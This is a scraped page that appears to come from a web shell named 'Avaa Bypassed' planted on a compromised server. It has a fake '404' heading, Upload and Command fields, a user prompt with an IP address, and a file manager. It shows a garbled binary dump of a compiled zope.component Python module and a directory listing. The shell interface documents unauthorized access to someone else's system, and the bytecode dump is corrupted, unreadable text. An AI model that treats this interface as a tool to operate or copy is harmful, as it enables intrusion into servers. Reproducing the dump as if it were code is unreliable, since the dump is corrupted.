404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@13.58.7.136: ~ $
3

,�W�
�@s�dZddlmZddlmZddlmZddlmZddl	m
Z
dd�ZGd	d
�d
e�Zee�Gdd�de��Z
e
d
�ZyddlmZWnek
r�YnXedd��[eZdd�Zde
fdd�Zdde
fdd�Zddd�Zddd�ZdS)zGlobal components support
�)�implementer)�AdapterRegistry)�
Components)�IComponentLookup)�_BLANKcCs
t||�S)N)�getattr)Z
componentsZregistryName�r�$/usr/lib/python3.6/globalregistry.py�GARsr
cs(eZdZdZ�fdd�Zdd�Z�ZS)�GlobalAdapterRegistryz~A global adapter registry

    This adapter registry's main purpose is to be picklable in combination
    with a site manager.cs||_||_tt|�j�dS)N)�
__parent__�__name__�superr�__init__)�self�parent�name)�	__class__rr	r szGlobalAdapterRegistry.__init__cCst|j|jffS)N)r
rr
)rrrr	�
__reduce__%sz GlobalAdapterRegistry.__reduce__)r
�
__module__�__qualname__�__doc__rr�
__classcell__rr)rr	rsrc@seZdZdd�Zdd�ZdS)�BaseGlobalComponentscCst|d�|_t|d�|_dS)N�adapters�	utilities)rrr)rrrr	�_init_registries+sz%BaseGlobalComponents._init_registriescCs|jS)N)r
)rrrr	r/szBaseGlobalComponents.__reduce__N)r
rrrrrrrr	r(sr�base)�
addCleanUpcCs
tjd�S)Nr)rrrrrr	�<lambda>:srcCstS)N)�globalSiteManagerrrrr	�getGlobalSiteManager>sr!NcCstj|||dd�dS)NF)�event)rZregisterUtility)Z	component�providesrrrr	�provideUtilityEsr$cCstj||||dd�dS)NF)r")rZregisterAdapter)�factory�adaptsr#rrrr	�provideAdapterHsr'cCstj|||dd�dS)NF)r")rZregisterSubscriptionAdapter)r%r&r#rrr	�provideSubscriptionAdapterKsr(cCstj||dd�dS)NF)r")rZregisterHandler)r%r&rrr	�provideHandlerNsr))NN)N)rZzope.interfacerZzope.interface.adapterrZzope.interface.registryrZzope.component.interfacesrZzope.component._compatrr
rrrZzope.testing.cleanupr�ImportErrorr r!r$r'r(r)rrrr	�<module>s,



Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 1.74 KB 0644
__init__.cpython-36.pyc File 1.74 KB 0644
_api.cpython-36.opt-1.pyc File 5.66 KB 0644
_api.cpython-36.pyc File 5.66 KB 0644
_compat.cpython-36.opt-1.pyc File 337 B 0644
_compat.cpython-36.pyc File 337 B 0644
_declaration.cpython-36.opt-1.pyc File 1.76 KB 0644
_declaration.cpython-36.pyc File 1.76 KB 0644
event.cpython-36.opt-1.pyc File 796 B 0644
event.cpython-36.pyc File 796 B 0644
eventtesting.cpython-36.opt-1.pyc File 1.55 KB 0644
eventtesting.cpython-36.pyc File 1.55 KB 0644
factory.cpython-36.opt-1.pyc File 1.44 KB 0644
factory.cpython-36.pyc File 1.44 KB 0644
globalregistry.cpython-36.opt-1.pyc File 2.78 KB 0644
globalregistry.cpython-36.pyc File 2.78 KB 0644
hookable.cpython-36.opt-1.pyc File 1.22 KB 0644
hookable.cpython-36.pyc File 1.22 KB 0644
hooks.cpython-36.opt-1.pyc File 3.19 KB 0644
hooks.cpython-36.pyc File 3.19 KB 0644
interface.cpython-36.opt-1.pyc File 3.59 KB 0644
interface.cpython-36.pyc File 3.67 KB 0644
interfaces.cpython-36.opt-1.pyc File 18.51 KB 0644
interfaces.cpython-36.pyc File 18.51 KB 0644
persistentregistry.cpython-36.opt-1.pyc File 2 KB 0644
persistentregistry.cpython-36.pyc File 2 KB 0644
registry.cpython-36.opt-1.pyc File 1.51 KB 0644
registry.cpython-36.pyc File 1.51 KB 0644
security.cpython-36.opt-1.pyc File 2.49 KB 0644
security.cpython-36.pyc File 2.49 KB 0644
standalonetests.cpython-36.opt-1.pyc File 1.63 KB 0644
standalonetests.cpython-36.pyc File 1.7 KB 0644
testing.cpython-36.opt-1.pyc File 1.12 KB 0644
testing.cpython-36.pyc File 1.12 KB 0644
testlayer.cpython-36.opt-1.pyc File 4.63 KB 0644
testlayer.cpython-36.pyc File 4.63 KB 0644
zcml.cpython-36.opt-1.pyc File 13.83 KB 0644
zcml.cpython-36.pyc File 13.83 KB 0644